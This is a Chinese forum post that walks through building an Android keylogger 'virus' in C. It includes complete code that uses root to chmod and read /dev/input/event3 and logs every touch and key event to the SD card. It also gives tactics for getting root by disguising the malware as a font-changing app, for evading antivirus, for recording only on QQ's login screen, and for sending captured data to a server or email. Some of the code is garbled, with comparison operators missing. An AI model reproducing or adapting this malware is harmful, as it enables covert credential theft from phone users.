共有回帖数 0 个
-
我们要写一个记录键盘输入屏幕记录状态。你不可能让别人去装个c4droid,也不可能让人家去安装你导出的终端程序吧?要想做一个完整的病毒,你需要NDK开发知识。我现在提供的只是一个方法,具体让病毒如何去实现,你就得放入你的程序中。
安卓的上层是用JAVA写的,而底层则是用C来写的,而上层没有给C提供接口,既然这样,那么我们就直接用C去操作底层。所以,必须得有一个条件,那就是root,没有root的话不行,你可能会说那还有什么用?谁会无缘无故给你root?你可以换位思考一下,既然要root,那么我就写一个root的软件,比如更换字体等等的软件,在用户给root的时候,那你病毒就有机可呈了(咳咳,还是提醒,不良目的者绕道),这就是安卓的恐怖之住,大家使用其他软件也注意了。你可能还会有一个疑问,就是那我直接用JAVA写不更方便吗?不用root,有系统提供的API,用C语言不是多此一举?那你错了,你无缘无故去读取键盘记录,你当安全软件都是摆着而已吗?直接用JAVA安全软件必定会拦截。而用C语言不同,直接去操作底层系统文件,安全软件很难擦觉到(反正我试验了一下lbe是检测不出来的)
。
安卓的触摸事件,还有按键事件是放在dev/input这个目录的,所以我们要操作的是这个目录的文件。其中我们输入的记录也会记录在里面,这时,我们就要写一个循环来不断的监听按键触发情况。
看到dev/input这个文件夹,我们会看到 event*,mouse*,mice这些文件,同时我们也要注意这点,每个input里面的文件都不一样,有的有到event5,而且是event0,event1,event2,event3,mouse0,mice。每个手机的储存也不一样,大多数手机会储存在event0这个文件,只是大多数,有的不是。现在我们在c4droid上测试一下自己手机是哪个。
写下面的测试程序,写完以后运行,然后会获取信息,这时你要不停的点击屏幕,看看会输出哪个的值,我是event3有变化,所以我手机需要读取event3。
#include stdlib.h
int main()
{
system("getevent -c 20");
return 0;
}
这个方法只适用于测试,真正用户不会去点击给你知道的,那么我们要怎么办?
那我们就需要写个DIR文件指针,然后把input文件夹写入到链表中,再写个线程自己写函数判断……(嗯。。。至于这个函数要怎么写呢,这步我思路就提供到这里,剩下的自己想,免得全部说出来有人拿去做坏事)
OK,知道触摸事件是哪个文件之后,我们开始写读取函数。
需要用到的头文件
#include stdio.h
#include stdlib.h
#include time.h
#include fcntl.h
#include linux/input.h
我们先来了解一下input_event的结构,
struct input_event {
struct timeval time; /*时间*/
__u16 type; /*事件类型*/
__u16 code; /*按键代码,在安卓上330为触屏,172菜单键,158返回键,其他按键1245也有对应值*/
__s32 value; /*按键值,例如触摸坐标*,鼠标坐标*/
};
其实在终端模拟器下,你照样可以获取屏幕触摸坐标,你不要小看c4droid,不要小看控制台。
再看看部分type值
//EV_SYN同步事件
//EV_KEY键盘事件
//EV_REL相对坐标事件,用于鼠标
//EV_ABS绝对坐标事件,用于摇杆
//EV_MSC其他事件
//EV_LEDLED灯事件
//EV_SND声音事件
//EV_REP重复按键事件
//EV_FF受力事件
//EV_PWR电源事件
//EV_FF_STATUS受力状态事件
关于type和code具体值请看头文件input.h
我们把结果储存在SD卡EventRecord.txt中
第一步,先写个记录时间函数,我们不用input_event里面提供的。
/* 获取系统时间 */
char *GetTime()
{
static char ch_time[40];
time_t t;
struct tm *nowtime;
time(&t);
nowtime = localtime(&t);
strftime(ch_time, sizeof(ch_time), "触发时间:%Y-%m-%d %H:%M:%S",
nowtime);
return ch_time;
}
时间函数完成。
第二步,开始读取
/* 定义读取缓存 */
#define BUFF 32
/* 读取事件驱动返回结果 */
static int fd = -1;
/* 输入事件结构体 */
struct input_event event[BUFF];
/*更改权限*/
system("su -c chmod 666 /dev/input/event3");
fd = open("/dev/input/event3", O_RDWR);
if (fd 0)
{
fputs("读取失败!n", fp);
return -1;
/* 读取失败直接结束 */
}
第三步,开始获取
int readResult;
/* 读取 */
readResult = read(fd, event, sizeof(struct input_event) * BUFF);
/*没有事件,直接返回*/
if (readResult sizeof(struct input_event))
{
return;
}
/*过滤手指抬起事件*/
if (event[0].value == 0)
{
return;
}
发下7楼的图,忘了发了
这样就完成了一个程序读取,我把它合并起来
#include stdio.h
#include stdlib.h
#include time.h
#include fcntl.h
#include linux/input.h
/* 定义读取缓存 */
#define BUFF 32
/* 记录 */
static int RECORD = 1;
/* 储存文件 */
static FILE *fp;
/* 读取事件驱动返回结果 */
static int fd = -1;
/* 输入事件结构体 */
struct input_event event[BUFF];
/* 获取系统时间 */
char *GetTime()
{
static char ch_time[40];
time_t t;
struct tm *nowtime;
time(&t);
nowtime = localtime(&t);
strftime(ch_time, sizeof(ch_time), "触发时间:%Y-%m-%d %H:%M:%S",nowtime);
return ch_time;
}
void GetEvent()
{
int i, readResult;
/* 读取 */
readResult = read(fd, event, sizeof(struct input_event) * BUFF);
if (readResult sizeof(struct input_event))
{
return;
}
if (event[0].value == 0)
{
/* 过滤抬起事件 */
return;
}
fputs(GetTime(), fp);
fputs("n", fp);
for (i = 0; i readResult / sizeof(struct input_event); i++)
{
fscanf(fp, "Event%d:type: %3d code: %5d value: %5dn", &i,
&event.type, &event.code, &event.value);
fprintf(fp, "Event%d:type: %3d code: %5d value: %5dn", i,event.type, event.code, event.value);
}
}
int main(int argc, char *argv[])
{
fp = fopen("/sdcard/EventRecord.txt", "wb");
/*更改权限*/
system("su -c chmod 666 /dev/input/event3");
fd = open("/dev/input/event3", O_RDWR); //具体根据自己手机修改
if (fd 0)
{
fputs("读取失败!n", fp);
return -1;
/* 读取失败直接结束 */
}
while (RECORD)
{
GetEvent();
}
close(fd);
fclose(fp);
return 0;
}

一个监控程序就完成了,我把RECORD设置为了1,程序会一直读取,这样产生的文件很大,我们也无法获取正确信息。真正病毒我们不能这样,上面做法我们只是用来测试,如果是真正病毒,我们需要调用上层JAVA来控制,我们如何去过滤用户的垃圾事件?剩下的就是交给JAVA了,我们要在上层监控用户状态,还有键盘状态,例如键盘是否处于展开(这个安全软件是不会报毒的),还有判断当前屏幕的Activity状态,例如处于QQ的登入Activity就开始记录,如果是处于聊天Activity,那么就没必要了。我们可以把结果发送到服务器,发送到自己邮件等等都可以,上面为了测试,我保存到了本地文件中。
楼主 2015-07-30 21:30 回复
Copyright © 2010~2015 直线网 版权所有,All Rights Reserved.沪ICP备10039589号
意见反馈 |
关于直线 |
版权声明 |
会员须知